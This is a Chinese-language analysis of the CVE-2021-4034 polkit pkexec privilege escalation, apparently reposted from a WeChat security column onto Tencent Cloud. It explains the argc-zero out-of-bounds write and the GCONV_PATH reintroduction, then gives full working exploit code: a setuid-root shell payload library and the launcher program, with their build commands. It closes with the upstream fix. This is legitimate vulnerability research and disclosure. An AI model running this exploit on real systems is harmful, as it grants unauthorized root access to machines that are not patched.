前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-4034 Linux Polkit 权限提升漏洞分析

CVE-2021-4034 Linux Polkit 权限提升漏洞分析

作者头像
黑白天安全
发布2022-02-24 08:04:16
2.3K1
发布2022-02-24 08:04:16
举报
代码语言:javascript
复制
CVE-2021-4034 Linux Polkit 权限提升漏洞分析
https://cn.4xpl0r3r.com/漏洞分析/CVE-2021-4034-Linux-Polkit-权限提升漏洞分析/

本文主要参考官方的Advisory来进行分析

漏洞简介

2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞

pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转

影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab

由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大

漏洞原理分析

选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab

根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c

在534-568行,处理命令行参数

代码语言:javascript
复制
for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题
{
  if (strcmp (argv[n], "--help") == 0)
    {
      opt_show_help = TRUE;
    }
  else if (strcmp (argv[n], "--version") == 0)
    {
      opt_show_version = TRUE;
    }
  else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
    {
      n++;
      if (n >= (guint) argc)
        {
          usage (argc, argv);
          goto out;
        }

      if (opt_user != NULL)
        {
          g_printerr ("--user specified twice\n");
          goto out;
        }
      opt_user = g_strdup (argv[n]);
    }
  else if (strcmp (argv[n], "--disable-internal-agent") == 0)
    {
      opt_disable_internal_agent = TRUE;
    }
  else
    {
      break;
    }
}

然后在610行,获取PROGRAM参数名称,也就是需要执行的程序

代码语言:javascript
复制
path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了
if (path == NULL)
{
  GPtrArray *shell_argv;

  path = g_strdup (pwstruct.pw_shell);
  if (!path)
{
      g_printerr ("No shell configured or error retrieving pw_shell\n");
      goto out;
}
  /* If you change this, be sure to change the if (!command_line)
case below too */
  command_line = g_strdup (path);
  shell_argv = g_ptr_array_new ();
  g_ptr_array_add (shell_argv, path);
  g_ptr_array_add (shell_argv, NULL);
  exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/') // 如果路径不是绝对路径
{
  /* g_find_program_in_path() is not suspectible to attacks via the environment */
  s = g_find_program_in_path (path);
  if (s == NULL)
    {
      g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
      goto out;
    }
  g_free (path);
  argv[n] = path = s; // 触发越界内存写入
}

整理一下,得出,在不传递任何参数时,情况如下

  1. 在第 534 行,整数 n 的设置为 1
  2. 在第 610 行,从 argv[1] 越界读取指针路径
  3. 在第 639 行,指针 s 被越界写入 argv[1]

现在很重要的一点就是,我们想要知道,当越界的argv[1]包含了什么内容

当我们使用execve()执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;

如下所示:

代码语言:javascript
复制
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

也就是说,被越界访问的实际上是envp[0],其指向第一个环境变量的值,再次总结,我们得到如下

  • 在第610行,要执行的程序路径由envp[0]给出
  • 在632行,path的值被传递给g_find_program_in_path()
  • g_find_program_in_path()在PATH环境变量中搜索程序
  • 如果找到可执行文件,完整的路径返回给pkexecmain()函数
  • 在639行,完整路径被越界写入到argv[1]也就是envp[0],这样就覆盖了我们的第一个环境变量

更准确地来说的话

  • 如果环境变量被设置为PATH=name,如果目录name存在(如当前的工作目录)并且可执行文件被命名为value,那么name/value字符串的指针就会被越界写入到envp[0]
  • 或者说,如果PATH是PATH=name=.,并且如果PATH=name=.存在且包含名为value的可执行文件,那么name=./value字符串的指针就会被越界写入到envp[0]

由于字符串name=./value是我们最后会执行的命令,如果执行了name=./value,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()函数运行之前被删除(由ld.so完成)。接下来我们将基于这一点来进行exploit

要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过execve执行程序

我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少

代码语言:javascript
复制
if (clearenv () != 0)
  {
    g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
    goto out;
  }

可以发现代码中多处调用了GLib的函数g_printerr(),如位于代码126行和408-409行的validate_environment_variable()函数log_message()调用了g_printerr()

g_printerr()通常打印UTF-8错误消息,但如果环境变量CHARSET被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()调用了iconv_open()

为了进行字符集转换,iconv_open()执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules指定。但是环境变量GCONV_PATH可以强制iconv_open()使用另外一个配置文件,通常来说GCONV_PATH是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入

要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在/etc/shells中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用

构造 Exploit

目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version可以发现版本是0.105

首先生成一个恶意的so文件,用来获取提权后的shell

代码语言:javascript
复制
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  setuid(0); seteuid(0); setgid(0); setegid(0);
  system("PATH=/bin:/usr/bin:/sbin /bin/sh");
}
代码语言:javascript
复制
gcc -shared -fPIC payload.c -o payload.so

构造exploit

  • LC_MESSAGES 用来指定要转换的字符集
  • XAUTHORITY 设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权
代码语言:javascript
复制
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char* _argv[]={ NULL };
    char* _envp[]={
        "x",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=..",
        NULL
    };
    mkdir("GCONV_PATH=.", 0777);
    mkdir("x", 0777);
    FILE *fp = fopen("x/gconv-modules", "wb");
    fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
    fclose(fp);
    execve("/usr/bin/pkexec", _argv, _envp);
}
代码语言:javascript
复制
gcc exploit.c -o exp.out

然后运行./exp.out直接成为root用户

漏洞修复

参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab

argc小于1直接退出程序

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
  • 漏洞原理分析
  • 构造 Exploit
  • 漏洞修复
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档